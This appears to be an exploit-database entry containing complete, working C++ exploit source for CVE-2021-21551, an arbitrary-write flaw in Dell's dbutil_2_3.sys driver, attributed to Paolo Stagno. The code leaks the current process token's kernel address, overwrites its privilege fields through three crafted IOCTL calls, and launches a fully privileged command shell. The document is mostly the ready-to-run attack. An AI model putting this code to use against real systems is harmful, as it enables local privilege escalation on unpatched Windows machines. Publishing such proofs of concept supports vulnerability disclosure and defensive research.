toggle-mode

DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)

Paolo Stagno

# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
# Date: 10/05/2021
# Exploit Author: Paolo Stagno aka VoidSec
# Version: <= 2.3
# CVE: CVE-2021-21551
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/

#include <iostream>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <algorithm>

#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

// define the buffer structure which will be sent to the vulnerable driver
typedef struct Exploit
{
	uint64_t    Field1;     // "padding" can be anything
	void*		Field2;		// where to write
	uint64_t    Field3;     // must be 0
	uint64_t    Field4;     // value to write
};

typedef struct outBuffer
{
	uint64_t    Field1;
	uint64_t	Field2;
	uint64_t    Field3;
	uint64_t    Field4;
};

// define a pointer to the native function 'NtQuerySystemInformation'
using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
	ULONG SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);

// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	USHORT UniqueProcessId;
	USHORT CreatorBackTraceIndex;
	UCHAR ObjectTypeIndex;
	UCHAR HandleAttributes;
	USHORT HandleValue;
	PVOID Object;
	ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// define the SYSTEM_HANDLE_INFORMATION structure
typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

int main(int argc, char** argv)
{

	// open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3
	HANDLE device = ::CreateFileW(
		L"\\\\.\\DBUtil_2_3",
		GENERIC_WRITE | GENERIC_READ,
		NULL,
		nullptr,
		OPEN_EXISTING,
		NULL,
		NULL);
	if (device == INVALID_HANDLE_VALUE)
	{
		std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";

	// resolve the address of NtQuerySystemInformation and assign it to a function pointer
	pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
	if (!NtQuerySystemInformation)
	{
		std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Resolved NtQuerySystemInformation!\n";

	// open the current process token - it will be used to retrieve its kernelspace address later
	HANDLE currentProcess = ::GetCurrentProcess();
	HANDLE currentToken = NULL;
	bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);
	if (!success)
	{
		std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Opened a handle to the current process token!\n";

	// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
	PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);

	// call NtQuerySystemInformation and fill the handleTableInformation structure
	ULONG returnLength = 0;
	NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);

	uint64_t tokenAddress = 0;
	// iterate over the system's handle table and look for the handles beloging to our process
	for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
	{
		SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
		// if it finds our process and the handle matches the current token handle we already opened, print it
		if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
		{
			tokenAddress = (uint64_t)handleInfo.Object;
			std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;
		}
	}

	outBuffer buffer =
	{
		0,
		0,
		0,
		0
	};

	/*
	dt nt!_SEP_TOKEN_PRIVILEGES
	   +0x000 Present          : Uint8B
	   +0x008 Enabled          : Uint8B
	   +0x010 EnabledByDefault : Uint8B

	We've added +1 to the offsets to ensure that the low bytes part are 0xff.
	*/

	// overwrite the _SEP_TOKEN_PRIVILEGES  "Present" field in the current process token
	Exploit exploit =
	{
		0x4141414142424242,
		(void*)(tokenAddress + 0x40),
		0x0000000000000000,
		0xffffffffffffffff
	};

	// overwrite the _SEP_TOKEN_PRIVILEGES  "Enabled" field in the current process token
	Exploit exploit2 =
	{
		0x4141414142424242,
		(void*)(tokenAddress + 0x48),
		0x0000000000000000,
		0xffffffffffffffff
	};

	// overwrite the _SEP_TOKEN_PRIVILEGES  "EnabledByDefault" field in the current process token
	Exploit exploit3 =
	{
		0x4141414142424242,
		(void*)(tokenAddress + 0x50),
		0x0000000000000000,
		0xffffffffffffffff
	};

	DWORD bytesReturned = 0;
	success = DeviceIoControl(
		device,
		IOCTL_CODE,
		&exploit,
		sizeof(exploit),
		&buffer,
		sizeof(buffer),
		&bytesReturned,
		nullptr);
	if (!success)
	{
		std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Successfully overwritten current token 'Present' field!\n";

	success = DeviceIoControl(
		device,
		IOCTL_CODE,
		&exploit2,
		sizeof(exploit2),
		&buffer,
		sizeof(buffer),
		&bytesReturned,
		nullptr);
	if (!success)
	{
		std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";

	success = DeviceIoControl(
		device,
		IOCTL_CODE,
		&exploit3,
		sizeof(exploit3),
		&buffer,
		sizeof(buffer),
		&bytesReturned,
		nullptr);
	if (!success)
	{
		std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
	std::cout << "[+] Token privileges successfully overwritten!\n";
	std::cout << "[+] Spawning a new shell with full privileges!\n";

	system("cmd.exe");

	return 0;
}

date: 2021-05-21, platform: local, type: windows